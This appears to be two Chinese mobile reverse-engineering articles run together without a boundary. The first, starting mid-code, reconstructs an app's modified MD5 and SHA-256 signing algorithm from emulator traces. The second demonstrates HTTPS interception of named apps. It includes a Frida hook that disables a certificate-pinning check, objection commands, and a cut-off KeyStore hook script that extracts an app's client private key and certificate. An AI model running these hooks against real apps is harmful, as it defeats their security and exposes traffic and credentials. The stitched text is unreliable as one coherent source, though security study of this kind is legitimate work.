S21, 0x514a537cL); /* 21 */ d = GG(d, a, b, c, groups[10], S22, 0x85215772L); /* 22 */ c = GG(c, d, a, b, groups[15], S23, 0x5fc4a5a0L); /* 23 */ b = GG(b, c, d, a, groups[4], S24, 0x60b6b8e9L); /* 24 */ a = GG(a, b, c, d, groups[9], S21, 0xa6848ec7L); /* 25 */ d = GG(d, a, b, c, groups[14], S22, 0x445244f7L); /* 26 */ c = GG(c, d, a, b, groups[3], S23, 0x73b04ea6L); /* 27 */ b = GG(b, c, d, a, groups[8], S24, 0xc23f57ccL); /* 28 */ a = GG(a, b, c, d, groups[13], S21, 0x2e86aa24L); /* 29 */ d = GG(d, a, b, c, groups[2], S22, 0x7b8ae0d9L); /* 30 */ c = GG(c, d, a, b, groups[7], S23, 0xe00a41f8L); /* 31 */ b = GG(b, c, d, a, groups[12], S24, 0x0a4f0fabL); /* 32 */ /*第三轮*/ a = HH(a, b, c, d, groups[5], S31, 0x789f7a63L); /* 33 */ d = HH(d, a, b, c, groups[8], S32, 0x0014b5a0L); /* 34 */ c = HH(c, d, a, b, groups[11], S33, 0xeaf82203L); /* 35 */ b = HH(b, c, d, a, groups[14], S34, 0x7a807b2dL); /* 36 */ a = HH(a, b, c, d, groups[1], S31, 0x23dba965L); /* 37 */ d = HH(d, a, b, c, groups[4], S32, 0xccbb8c88L); /* 38 */ c = HH(c, d, a, b, groups[7], S33, 0x71de0841L); /* 39 */ b = HH(b, c, d, a, groups[10], S34, 0x39daff51L); /* 40 */ a = HH(a, b, c, d, groups[13], S31, 0xaffe3de7L); /* 41 */ d = HH(d, a, b, c, groups[0], S32, 0x6dc464dbL); /* 42 */ c = HH(c, d, a, b, groups[3], S33, 0x538a73a4L); /* 43 */ b = HH(b, c, d, a, groups[6], S34, 0x83ed5e24L); /* 44 */ a = HH(a, b, c, d, groups[9], S31, 0x5eb19318L); /* 45 */ d = HH(d, a, b, c, groups[12], S32, 0x61bedac4L); /* 46 */ c = HH(c, d, a, b, groups[15], S33, 0x98c73fd9L); /* 47 */ b = HH(b, c, d, a, groups[2], S34, 0x43c91544L); /* 48 */ /*第四轮*/ a = II(a, b, c, d, groups[0], S41, 0x734c6165L); /* 49 */ d = II(d, a, b, c, groups[7], S42, 0xc44fbcb6L); /* 50 */ c = II(c, d, a, b, groups[14], S43, 0x2cf16086L); /* 51 */ b = II(b, c, d, a, groups[5], S44, 0x7bf6e318L); /* 52 */ a = II(a, b, c, d, groups[12], S41, 0xe23e1ae2L); /* 53 */ d = II(d, a, b, c, groups[3], S42, 0x08698fb3L); /* 54 */ c = II(c, d, a, b, groups[10], S43, 0x788ab75cL); /* 55 */ b = II(b, c, d, a, groups[1], S44, 0x02e11ef0L); /* 56 */ a = II(a, b, c, d, groups[8], S41, 0xe8cd3d6eL); /* 57 */ d = II(d, a, b, c, groups[15], S42, 0x7949a5c1L); /* 58 */ c = II(c, d, a, b, groups[6], S43, 0x24640035L); /* 59 */ b = II(b, c, d, a, groups[13], S44, 0xc96d5280L); /* 60 */ a = II(a, b, c, d, groups[4], S41, 0x70363da3L); /* 61 */ d = II(d, a, b, c, groups[11], S42, 0x3a5fb114L); /* 62 */ c = II(c, d, a, b, groups[2], S43, 0xadb2919aL); /* 63 */ b = II(b, c, d, a, groups[9], S44, 0x6ce390b0L); /* 64 */ /*加入到之前计算的结果当中*/ result[0] += a; result[1] += b; result[2] += c; result[3] += d; result[0] = result[0] & 0xFFFFFFFFL; result[1] = result[1] & 0xFFFFFFFFL; result[2] = result[2] & 0xFFFFFFFFL; result[3] = result[3] & 0xFFFFFFFFL; } /** * 下面是处理要用到的线性函数 */ private static long F( long x, long y, long z) { return (x & y) | ((~x) & z); } private static long G( long x, long y, long z) { return (x & z) | (y & (~z)); } private static long H( long x, long y, long z) { return x ^ y ^ z; } private static long I( long x, long y, long z) { return y ^ (x | (~z)); } private static long FF( long a, long b, long c, long d, long x, long s, long ac) { a += (F(b, c, d) & 0xFFFFFFFFL) + x + ac; a = ((a & 0xFFFFFFFFL) << s) | ((a & 0xFFFFFFFFL) >>> ( 32 - s)); a += b; return (a & 0xFFFFFFFFL); } private static long GG( long a, long b, long c, long d, long x, long s, long ac) { a += (G(b, c, d) & 0xFFFFFFFFL) + x + ac; a = ((a & 0xFFFFFFFFL) << s) | ((a & 0xFFFFFFFFL) >>> ( 32 - s)); a += b; return (a & 0xFFFFFFFFL); } private static long HH( long a, long b, long c, long d, long x, long s, long ac) { a += (H(b, c, d) & 0xFFFFFFFFL) + x + ac; a = ((a & 0xFFFFFFFFL) << s) | ((a & 0xFFFFFFFFL) >>> ( 32 - s)); a += b; return (a & 0xFFFFFFFFL); } private static long II( long a, long b, long c, long d, long x, long s, long ac) { a += (I(b, c, d) & 0xFFFFFFFFL) + x + ac; a = ((a & 0xFFFFFFFFL) << s) | ((a & 0xFFFFFFFFL) >>> ( 32 - s)); a += b; return (a & 0xFFFFFFFFL); } private static byte hexToByte(String inHex){ return ( byte )Integer.parseInt(inHex, 16 ); } public static byte [] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte [] result; if (hexlen % 2 == 1 ){ //奇数 hexlen++; result = new byte [(hexlen/ 2 )]; inHex= \\"0\\" +inHex; } else { //偶数 result = new byte [(hexlen/ 2 )]; } int j= 0 ; for ( int i = 0 ; i < hexlen; i+= 2 ){ result[j]=hexToByte(inHex.substring(i,i+ 2 )); j++; } return result; } } |
1 2 3 4 5 | 传入明文:00000000a0bZ2JvdiCtR8rNjIpUdZP15UbhnW3gKOhMLA3SmUPUu59kxh7wh4yJdLrJcdPMpIrTx7g1huPLyaJDHl6kxmqMQ1yv 发现结果与 0000: 35 32 36 36 42 42 39 42 46 36 35 42 43 35 33 45 5266BB9BF65BC53E 0010: 46 32 33 39 39 44 33 41 30 44 30 30 42 44 35 44 F2399D3A0D00BD5D 前面固定的unidbg结果一致 |
前面分析了传入魔改md5的明文 接下来研究明文如何生成的 前面八个字节很明显是我们固定的时间 从第九个字节开始分析
\\n祭出龙哥的HexSearch大法
\\n1 2 3 | // 代码放结尾 搜索明文的前16个字节 HexDataSearch dataSearch = new HexDataSearch(emulator, \\"30303030303030306130625a324a7664\\" ); // 30303030303030306130625a324a7664 => 00000000a0bZ2Jvd |
程序在0x10ec32处断下 并且告知 0x4041c000处存放了搜索的数据
\\n对这个地址进行tracewrite看看是哪里写入的这段明文
\\n1 | emulator.traceWrite(0x4041c000L,0x4041c00FL); |
从日志中看出在0x1121d6处对地址写入了明文 再到trace中搜索一下这个地址
\\n发现与我们明文的一部分一致 往上查找明文0x61从何处来的
\\n往上寻找0x61生成可以看出 这是直接从0x402351e0处加载一个字节得到的0x61 在0x1121d6 处下个断点看看0x402351e0这个地方存放的什么
0x402351e0处存放的似乎是一个码表 猜测是经过某种运算 得到一个偏移 随后从码表中加载这个偏移处的字节作为明文
\\n到IDA中看看这部分生成明文的代码
\\n从ida的分析来看这里有一个进行了91次的循环 正好对应了明文的91个字符 sub_2167DC函数返回的结果对应着明文位于码表中的偏移 hook一下看看
\\n1 2 3 4 5 6 7 8 9 | public void hook_pianyi(){ emulator.attach().addBreakPoint(module.base + 0x111DF4 , new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { System.out.println( \\"hook到的偏移:\\" +emulator.getContext().getIntArg( 1 )); return true ; } }); } |
发现结果偏移的结果与明文对照码表中的结果一致
接下来看看这个偏移是如何生成的: hook sub_2167DC的第一个参数v2 得到 0xe4a
第二个参数固定为62不必多说 是码表的长度
结合tarace汇编与伪c来看 sub_2167DC函数 是调用sub_216744并传入参数a1与固定整数62 随后用a1-(得到的结果*62) = 码表中的偏移
\\n即: 码表中的偏移 = x - (sub_216744(x) * 62)
\\n查看sub_216744函数伪c 应该是某种自写的算法 不分析了 直接丢给gpt 让他转成python代码
\\n接下来就是寻找入参v2的生成了 已知hook到第一次入参为0xe4a 在trace中向上寻找生成
\\n1 2 3 4 5 6 7 8 9 10 11 12 | 简化后过程如下: 0x4010e946 : \\"ldr r2, [pc, #0x364]\\" => r2= 0x41c64e6d 0x4010ea40 : \\"ldr r0, [pc, #0x2a4]\\" => r0= 0x3039 // [因为把时间固定为0 故此处也为0 当时这里找了好久 当时间不固定时 这里就是十六进制的时间戳 算是自己给自己挖了个坑往里面跳了 0x4010ea2c : \\"lsls r1, r1, #2\\" r1= 0x0 => r1= 0x0 0x4010ea2e : \\"adds r1, r3, r1\\" r3= 0xbfffe568 r1= 0x0 => r1= 0xbfffe568 0x4010e948 : \\"muls r2, r1, r2\\" r2= 0x41c64e6d r1= 0xbfffe568 => r2= 0x8e4a5d48 0x4010ea44 : \\"adds r0, r1, r0\\" r1= 0x8e4a5d48 r0= 0x3039 => r0= 0x8e4a8d81 0x4010e7fa : \\"lsls r1, r0, #1\\" r0= 0x8e4a8d81 => r1= 0x1c951b02 0x4010e7fc : \\"lsrs r1, r1, #0x11\\" r1= 0x1c951b02 => r1= 0xe4a 至此 完成了sub_216744函数入参的分析 |
直接上代码
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | / / 利用chatgpt 生成的sub_216744 python代码 def sub_216744(a1, a2): v2 = a1 ^ a2 v3 = 1 v4 = 0 if (a2 & 0x80000000 ) ! = 0 : a2 = - a2 if (a1 & 0x80000000 ) ! = 0 : a1 = - a1 if a1 > = a2: while a2 < 0x10000000 and a2 < a1: a2 * = 16 v3 * = 16 while a2 < 0x80000000 and a2 < a1: a2 * = 2 v3 * = 2 while True : if a1 > = a2: a1 - = a2 v4 | = v3 if a1 > = a2 >> 1 : a1 - = a2 >> 1 v4 | = v3 >> 1 if a1 > = a2 >> 2 : a1 - = a2 >> 2 v4 | = v3 >> 2 if a1 > = a2 >> 3 : a1 - = a2 >> 3 v4 | = v3 >> 3 if not a1: break v3 >> = 4 if not v3: break a2 >> = 4 result = v4 if v2 < 0 : return - v4 return result def get_plaintext(time): plaintext_map = \\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\" plaintext = \\"\\" time_ = (time<< 2 ) & 0xFFFFFFFF a = (time_ + 0xbfffe568 ) & 0xFFFFFFFF for i in range ( 0 , 91 ): b = (a * 0x41c64e6d ) & 0xFFFFFFFF c = b + 0x3039 d = (c << 1 ) & 0xFFFFFFFF e = d >> 0x11 a = c # print(hex(e)) result = sub_216744(e, 62 ) # print(hex(result)) offset = e - (result * 62 ) # print(hex(offset)) plaintext + = plaintext_map[offset] return plaintext if __name__ = = \'__main__\' : time = 0 plaintext = get_plaintext(time) print (plaintext) # a0bZ2JvdiCtR8rNjIpUdZP15UbhnW3gKOhMLA3SmUPUu59kxh7wh4yJdLrJcdPMpIrTx7g1huPLyaJDHl6kxmqMQ1yv # 与前面分析的md5明文一致 |
核心思路与前32位一致 在分析前32位时发现有进行两次md5 结果的后32位也是md5
\\n为节省篇幅 长话短说:
\\n1 2 3 4 5 6 7 8 9 | 利用上面在trace文件中取出md5明文块的思路 取出后 32 位md5明文如下( hex ): [a] 66c1b57240d6b64fc1d3e3a89f8c61ce ;固定 [b] 56844ae6d6a488ff2e27f68b505c82a00558e289a0ccd718bb6cddfd0993fc03 ; 32 个字节 疑似sha256 [c] 630394833e90b050b6b79bc128d74f70 ;固定 [d] f8fffbfb8f8ff48f8bfbf88f8ef8fe888bfffef4f489fe8cfd89fdfd8f89f889 ; 0x117a30 处理 java层传入的byte[]逐字节异或 0xcd [f] fdfdfdfdfdfdfdfd ; 0x118aec 处理 前面固定的时间逐字节异或 0xcd [g] fcff8e ; 0x118b36 处理 逐字节异或 0xcd = > 0x12C 异或 0xcd 经过校验 确实为前 32 位md5相同的计算方式 |
其中a,c,d,f,g明文块都是简单异或运算 在trace中就能搜到 不作赘述
\\n上方分析了md5明文的组成部分 其中特别注意到明文块b 长度为32个字节 猜测是sha256 在trace文件中搜索sha256校验中的标准魔数 并未搜索到 猜测是魔改过了
\\n在trace文件中搜索疑似sha256结果的前四个字节 看看在哪生成的
\\n发现并未搜索出结果 往上分析才发现 原来b明文块是经过了异或0xcd运算后的 将结果异或0xcd后再次搜索 有了结果
\\n1 2 3 | 56844ae6 d6a488ff 2e27f68b 505c82a0 0558e289 a0ccd718 bb6cddfd 0993fc03 => xor 0xcd => 9b49872b 1b694532 e3ea3b46 9d914f6d c8952f44 6d011ad5 76a11030 c45e31ce |
跳转到ida看看
\\n在ida中看到了非常明显的sha256计算特征
\\n1 2 3 4 5 6 7 8 | A = (A + a) B = (B + b) C = (C + c) D = (D + d) E = (E + e) F = (F + f) G = (G + g) H = (H + h) |
综上 确定了这32字节的算法就是经过sha256校验后再异或0xcd
\\n确定了是sha256算法 先寻找sha256的明文
\\n由sha256校验的密码学相关知识可知 sha256算法内核心步骤为:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | 步骤一:t1 = h + bigSig1(e) + ch(e, f, g) + k[i] + w[i] 步骤二:t2 = bigSig0(a) + maj(a, b, c) 步骤三:h = g,g = f,f = e,e = d + t1,d = c,c = b,b = a,a = t1 + t2 其中bigSig1,bigSig0,maj,ch如下 private static int ch(int x, int y, int z) { return (x & y) | ((~x) & z); } private static int maj(int x, int y, int z) { return (x & y) | (x & z) | (y & z); } private static int bigSig0(int x) { return Integer.rotateRight(x, 2) ^ Integer.rotateRight(x, 13) ^ Integer.rotateRight(x, 22); } private static int bigSig1(int x) { return Integer.rotateRight(x, 6) ^ Integer.rotateRight(x, 11) ^ Integer.rotateRight(x, 25); } |
利用bigSig0的旋转右移进行bigSig定位 在trace文件中搜索旋转右移相关
\\n直接搜索ror rors(旋转右移) 发现并没有相关结果 猜测可能是变换了另外一种形式实现的旋转右移
\\n在trace文件中搜索lsrs(逻辑右移) 发现有很多结果 正则筛选一下 (lsrs*#2)
\\n发现在0x15f7d4处有逻辑左移0x1e 往下看到有逻辑右移2 最终相加 这样的运算等价于旋转右移
\\n跳到ida看看
\\n发现此处也有类似sha256计算的代码块 经过简单分析 可以看出 伪代码中 v44就是当前参与计算的明文块
\\ndword_22A0F4[**(_DWORD **)(v39 + 72)] 则是参与当前计算的k表
\\n在trace文件中 查看v44的赋值简单分析可以看出 明文存放于0x4041c000处 在0x15f76a处下个断点 看看内存
\\n与trace中分析得到的参与计算的明文一致 此处就是sha256参与计算的明文了
\\n至此sha256计算中的初向量 k表 明文 都已找到
\\n找一份标准sha256代码 更改其中的iv和k表 尝试还原该魔改sha256算法
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 | import java.nio.ByteBuffer; /** * Offers a {@code hash(byte[])} method for hashing messages with SHA-256. */ class magicSHA256 { private static byte hexToByte(String inHex){ return ( byte )Integer.parseInt(inHex, 16 ); } public static byte [] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte [] result; if (hexlen % 2 == 1 ){ //奇数 hexlen++; result = new byte [(hexlen/ 2 )]; inHex= \\"0\\" +inHex; } else { //偶数 result = new byte [(hexlen/ 2 )]; } int j= 0 ; for ( int i = 0 ; i < hexlen; i+= 2 ){ result[j]=hexToByte(inHex.substring(i,i+ 2 )); j++; } return result; } public static String bytesToHexString( byte [] bytes) { StringBuilder builder = new StringBuilder(); for ( byte b : bytes) { builder.append(String.format( \\"%02X\\" , b)); } return builder.toString(); } public static void main(String[] args) throws Exception { System.out.println( \\"sha256: \\" + bytesToHexString(Sha256.hash(hexToByteArray( \\"00a7d31426b0d029a7b585cef9ea07a8cf9f9dcd9dcecf9c9c92929c9893cdca9b9f929dca9399929e9fca9a99989dce0565f2e558f6d636d0d1fda74eb129169e999d9de9e992e9ed9d9ee9e89e98eeed99989292ef98ea9bef9b9be9ef9eef9b9b9b9b9b9b9b9b9a99e8\\" )))); } } class Sha256 { private static final int [] K = { 0xc5ef6cb9 , 0xf65207b0 , 0x32a5b8ee , 0x6ed09884 , 0xbe33817a , 0xde9452d0 , 0x155ac185 , 0x2c791df4 , 0x5f62e9b9 , 0x95e61820 , 0xa354c69f , 0xd2693ee2 , 0xf5db1e55 , 0x07bbf2df , 0x1cb94586 , 0x46feb255 , 0x63fe2ae0 , 0x68db04a7 , 0x88a4dee7 , 0xa369e2ed , 0xaa8c6f4e , 0xcd11c78b , 0xdbd5eafd , 0xf19ccbfb , 0x1f5b1273 , 0x2f54854c , 0x376664e9 , 0x383c3ce6 , 0x418548d2 , 0x52c2d266 , 0x81af2070 , 0x934c6a46 , 0xa0d249a4 , 0xa97e6219 , 0xca492edd , 0xd45d4e32 , 0xe26f3075 , 0xf10f499a , 0x06a78a0f , 0x15176fa4 , 0x25daab80 , 0x2f7f256a , 0x452ec851 , 0x40091282 , 0x56f7ab38 , 0x51fc4505 , 0x736b76a4 , 0x970fe351 , 0x9ec18237 , 0x99522f29 , 0xa02d346d , 0xb3d5ff94 , 0xbe794f92 , 0xc9bde96b , 0xdcf9896e , 0xef4b2cd2 , 0xf3eac1cf , 0xffc0204e , 0x03ad3b35 , 0x0ba24129 , 0x17dbbcdb , 0x23352fca , 0x399ce0d6 , 0x41143bd3 }; private static final int [] H0 = { 0xed6ca546 , 0x3c02eda4 , 0xbb0bb053 , 0x222ab61b , 0xd66b115e , 0x1c602bad , 0x98e69a8a , 0xdc858e38 }; // working arrays private static final int [] W = new int [ 64 ]; private static final int [] H = new int [ 8 ]; private static final int [] TEMP = new int [ 8 ]; /** * Hashes the given message with SHA-256 and returns the hash. * * @param message The bytes to hash. * @return The hash\'s bytes. */ public static byte [] hash( byte [] message) { // let H = H0 System.arraycopy(H0, 0 , H, 0 , H0.length); // initialize all words int [] words = toIntArray(pad(message)); // enumerate all blocks (each containing 16 words) for ( int i = 0 , n = words.length / 16 ; i < n; ++i) { // initialize W from the block\'s words System.arraycopy(words, i * 16 , W, 0 , 16 ); for ( int t = 16 ; t < W.length; ++t) { W[t] = smallSig1(W[t - 2 ]) + W[t - 7 ] + smallSig0(W[t - 15 ]) + W[t - 16 ]; } // let TEMP = H System.arraycopy(H, 0 , TEMP, 0 , H.length); // operate on TEMP for ( int t = 0 ; t < W.length; ++t) { int t1 = TEMP[ 7 ] + bigSig1(TEMP[ 4 ]) + ch(TEMP[ 4 ], TEMP[ 5 ], TEMP[ 6 ]) + K[t] + W[t]; int t2 = bigSig0(TEMP[ 0 ]) + maj(TEMP[ 0 ], TEMP[ 1 ], TEMP[ 2 ]); System.arraycopy(TEMP, 0 , TEMP, 1 , TEMP.length - 1 ); TEMP[ 4 ] += t1; TEMP[ 0 ] = t1 + t2; } // add values in TEMP to values in H for ( int t = 0 ; t < H.length; ++t) { H[t] += TEMP[t]; } } return toByteArray(H); } /** * Internal method, no need to call. Pads the given message to have a length * that is a multiple of 512 bits (64 bytes), including the addition of a * 1-bit, k 0-bits, and the message length as a 64-bit integer. * * @param message The message to pad. * @return A new array with the padded message bytes. */ public static byte [] pad( byte [] message) { final int blockBits = 512 ; final int blockBytes = blockBits / 8 ; // new message length: original + 1-bit and padding + 8-byte length int newMessageLength = message.length + 1 + 8 ; int padBytes = blockBytes - (newMessageLength % blockBytes); newMessageLength += padBytes; // copy message to extended array final byte [] paddedMessage = new byte [newMessageLength]; System.arraycopy(message, 0 , paddedMessage, 0 , message.length); // write 1-bit paddedMessage[message.length] = ( byte ) 0b10000000; // skip padBytes many bytes (they are already 0) // write 8-byte integer describing the original message length int lenPos = message.length + 1 + padBytes; ByteBuffer.wrap(paddedMessage, lenPos, 8 ).putLong(message.length * 8 ); return paddedMessage; } /** * Converts the given byte array into an int array via big-endian conversion * (4 bytes become 1 int). * * @param bytes The source array. * @return The converted array. */ public static int [] toIntArray( byte [] bytes) { if (bytes.length % Integer.BYTES != 0 ) { throw new IllegalArgumentException( \\"byte array length\\" ); } ByteBuffer buf = ByteBuffer.wrap(bytes); int [] result = new int [bytes.length / Integer.BYTES]; for ( int i = 0 ; i < result.length; ++i) { result[i] = buf.getInt(); } return result; } /** * Converts the given int array into a byte array via big-endian conversion * (1 int becomes 4 bytes). * * @param ints The source array. * @return The converted array. */ public static byte [] toByteArray( int [] ints) { ByteBuffer buf = ByteBuffer.allocate(ints.length * Integer.BYTES); for ( int i = 0 ; i < ints.length; ++i) { buf.putInt(ints[i]); } return buf.array(); } private static int ch( int x, int y, int z) { return (x & y) | ((~x) & z); } private static int maj( int x, int y, int z) { return (x & y) | (x & z) | (y & z); } private static int bigSig0( int x) { return Integer.rotateRight(x, 2 ) ^ Integer.rotateRight(x, 13 ) ^ Integer.rotateRight(x, 22 ); } private static int bigSig1( int x) { return Integer.rotateRight(x, 6 ) ^ Integer.rotateRight(x, 11 ) ^ Integer.rotateRight(x, 25 ); } private static int smallSig0( int x) { return Integer.rotateRight(x, 7 ) ^ Integer.rotateRight(x, 18 ) ^ (x >>> 3 ); } private static int smallSig1( int x) { return Integer.rotateRight(x, 17 ) ^ Integer.rotateRight(x, 19 ) ^ (x >>> 10 ); } } |
发现输出结果与上面分析md5明文的一致 分析明文完成
\\n1 2 3 4 5 | [A] 00a7d31426b0d029a7b585cef9ea07a8 固定值 [B] cf9f9dcd9dcecf9c9c92929c9893cdca9b9f929dca9399929e9fca9a99989dce 0x118786 把前面java层传入的参数的ascii码逐字节异或0xab得到 [C] 0565f2e558f6d636d0d1fda74eb12916 固定值 [D] 9e999d9de9e992e9ed9d9ee9e89e98eeed99989292ef98ea9bef9b9be9ef9eef 0x117a30 结果的前32位异或0xab得到 [E] 9b9b9b9b9b9b9b9b9a99e8 0x118aec 时间+12C异或0xab得到 |
明文的组成也比较简单 就是一些简单异或 在trace中均可分析出来 就不作过多赘述了 至此,整个算法的还原完成
\\n样本难度中等 综合了花指令 魔改算法 ollvm混淆 是个练手的好样本
\\n因为混淆的存在 不能过分依赖ida的f5进行静态分析 在trace中进行算法还原是个不错的选择
\\n小弟初接触此类混淆算法还原 若有表述不当之处 还望各位大牛批评指正,共同进步 Xiaoochenn_
\\n希望文章对正在学习移动安全的伙伴有所帮助
\\n感谢星球伙伴 @落叶 的算法笔记
\\n1.这种情况是最简单的情况,Android 7.0之前的设备,直接配置用户证书,就能进行抓包,Android 7.0之后的设备,需要获取root权限1后,把用户证书移到系统证书目录下,或者配置系统强制信任用户证书。
对于移动用户证书到系统证书目录下的情况,推荐使用这个插件:https://github.com/ys1231/MoveCertificate
对于强制信任用户证书的这种情况,推荐使用这个插件:https://github.com/NVISOsecurity/MagiskTrustUserCerts
2.对于这种情况,我们安装完证书后,直接使用代理/vpn的方式进行抓包就可以了,这里我们以某浏览器为例,进行抓包演示,因为我用的设备是Android 7.0以上的,所以我们首先是配置系统强制信任用户证书的插件。
3.配置完成后,我们在抓包软件上导出证书,然后在设备上进行安装。
\\n4.接下来,我们就可以进行抓包了,抓包成功。
\\n1.这是第二种情况,也就是我们常说的sslpinning,想具体了解sslpining技术,可以去看这2篇文章:
https://shunix.com/ssl-pinning/
https://yu-jack.github.io/2020/03/02/ssl-pinning/
2.针对这种情况,我们以x答x单app为例,进行抓包,上面我们已经试过了,用我们的测试设备是可以正常抓到https的数据包的,然后我们再去抓一下x答x单这个app的包,点击发送验证码按钮后会提示发送失败,请重试 ,说明我们抓包失败了。
\\n3.这里报错:Client closed the connection before a request was made. Possibly the SSL certificate was rejected,表明在 SSL/TLS 握手阶段,客户端在没有发送 HTTP 请求之前就关闭了连接,客户端拒绝了服务器的证书,也就是上面我们所说的sslpinning技术,还有另外一种报错得情况:SSL handshake with client failed: An unknown issue occurred processing the certificate (certificate_unknown),也是用到了sslpinning技术。那遇到上述这2种情况,我们应该怎么处理呢?使用frida进行hook,我们这里直接用大佬们写好的脚本进行hook,地址:https://github.com/WooyunDota/DroidSSLUnpinning/blob/master/ObjectionUnpinningPlus/hooks.js
\\n4.用了大佬的脚本后,发现还是不行,还是失败了,只能换一个再试试了,又尝试了justtrustme,地址:https://github.com/Fuzion24/JustTrustMe,结果还是不行。
\\n5.在辗转反侧之时,我想起之前用算法助手时,里面带着一个justtruatme的升级版,于是就拿来试了试,结果成功拿下。可以正常进行抓包了。
\\n6.经过上述尝试,我们针对sslpinning这种,可以先用市面上已有的sslunpinning工具进行尝试,如果遇到都无法进行成功的情况,那就需要我们去手工进行hook了,大致有两种思路,一是对所有HTTP字符串相关类进行Hook,二是考虑到App在验证证书时会打开证书文件判断是否是App自身所信任的,因此一定会使用File类的构造函数打开证书文件获得文件的句柄,所以我们在测试时可以Hook上所有File类的构造函数,即对File.init函数进行hook。这里我用了objection进行hook的:`objection -N -h 127.0.0.1 -p 26666 -g cn.ticktick.task explore -P ~/.objection/plugins -s \\"android hooking watch class_method java.io.File.\\\\init --dump-args --dump-backtrace --dump-return\\"`,这里因为$在命令行中有特殊含义,所以用\\\\对它进行转义,避免被当成命令行变量。hook之后,我们在得到的数据里面搜索/system/etc/security/cacerts
\\n7.我们在搜到的数据里面,找到了一个关于证书的堆栈信息,我们用jadx反编译后,找到这个方法
\\n8.复制一下,丢给chatgpt分析一下,得出结论,这段代码是关于处理 SSL 证书验证的逻辑,是基于域名和证书的哈希值进行匹配,检查传入的证书是否符合某些预期的标准,那我们尝试hook它,并让它返回空,这样不就能绕过证书校验了嘛。
\\n1 2 3 4 5 6 7 8 9 10 11 | function main(){ Java.perform( function (){ console.log( \\"启动\\" ); let f = Java.use( \\"ll.f\\" ); f[ \\"a\\" ].implementation= function (str, list){ console.log(`f.a is called: str=${str}, list=${list}`); return ; }; }); } setTimeout(main,500) |
9.非常幸运,经过hook后,我们成功抓到了这个数据包,至此完成。
\\n1.这是第三种情况,我们以x利蜂app为例,进行抓包尝试,经过尝试,还是和之前一样报错:SSL handshake with client failed: An unknown issue occurred processing the certificate (certificate_unknown)
\\n2.我们先使用objection的android sslpinning disable把这个sslpinning过掉,过掉之后,我们再抓包,发现请求正常发出,响应返回报错:400 No required SSL certificate was sent。判断为服务器校验客户端证书。
\\n3.当我们遇到这种情况,需要我们从app中找到内置的客户端证书,导入到抓包工具中,才能正常进行抓包,那怎么才能找到客户端的证书呢?通常是有二种方法,第一种是用r0ysue大佬写的r0capture进行hook导出,第二种是去hook Keystore,找到加载证书的地方,手动分析源码去找到证书和密码。我们先用一下第一种方案:直接上r0capture,有枣没枣打一杆子试试。
\\n4.运气不错,证书找到了,我们直接在dowload目录下把证书拿出来,安装到Charles里
\\n5.然后,再次进行抓包,可以看到,我们成功绕过了双向证书认证。
\\n6.我们去看一下r0ysue大佬的脚本,简单来解释一下原理,在安卓开发中,系统包是无法混淆的,例如java.security.KeyStore不会被混淆,所以可以去hook这个类,并且在 Java 中,KeyStore$PrivateKeyEntry 是存储在 KeyStore 中,包含私鑰和相關的證書,即getPrivateKey() 和 getCertificateChain() 這兩個方法,也就是说当應用程序調用 getPrivateKey() 或 getCertificateChain() 方法來獲取私鑰和證書時,会被脚本拦截并提取返回的私钥和证书数据,然后storeP12() 函數,將提取的私鑰和證書組合起來,存儲為一個 .p12 文件,并使用密码r0ysue進行加密並寫入到指定的文件路徑。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | Java.perform( function (){ functionuuid(len, radix){ var chars = \'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\' .split( \'\' ); var uuid =[], i; radix = radix || chars.length; if (len){ // Compact form for (i =0; i < len; i++) uuid[i]= chars[0| Math.random()* radix]; } else { // rfc4122, version 4 form var r; // rfc4122 requires these characters uuid[8]= uuid[13]= uuid[18]= uuid[23]= \'-\' ; uuid[14]= \'4\' ; // Fill in random data. At i==19 set the high bits of clock sequence as // per rfc4122, sec. 4.1.5 for (i =0; i <36; i++){ if (!uuid[i]){ r =0| Math.random()*16; uuid[i]= chars[(i ==19)?(r &0x3)|0x8: r]; } } } return uuid.join( \'\' ); } functionstoreP12(pri, p7, p12Path, p12Password){ var X509Certificate = Java.use( \\"java.security.cert.X509Certificate\\" ) var p7X509 = Java.cast(p7, X509Certificate); var chain = Java.array( \\"java.security.cert.X509Certificate\\" ,[p7X509]) var ks = Java.use( \\"java.security.KeyStore\\" ).getInstance( \\"PKCS12\\" , \\"BC\\" ); ks.load( null , null ); ks.setKeyEntry( \\"client\\" , pri, Java.use( \'java.lang.String\' ).$ new (p12Password).toCharArray(), chain); try { var out = Java.use( \\"java.io.FileOutputStream\\" ).$ new (p12Path); ks.store(out, Java.use( \'java.lang.String\' ).$ new (p12Password).toCharArray()) } catch (exp){ console.log(exp) } } // 在服务器校验客户端的情形下,帮助dump客户端证书,并保存为p12的格式,证书密码为r0ysue Java.use( \\"java.security.KeyStore$PrivateKeyEntry\\" ).getPrivateKey.implementation= function (){ var result = this 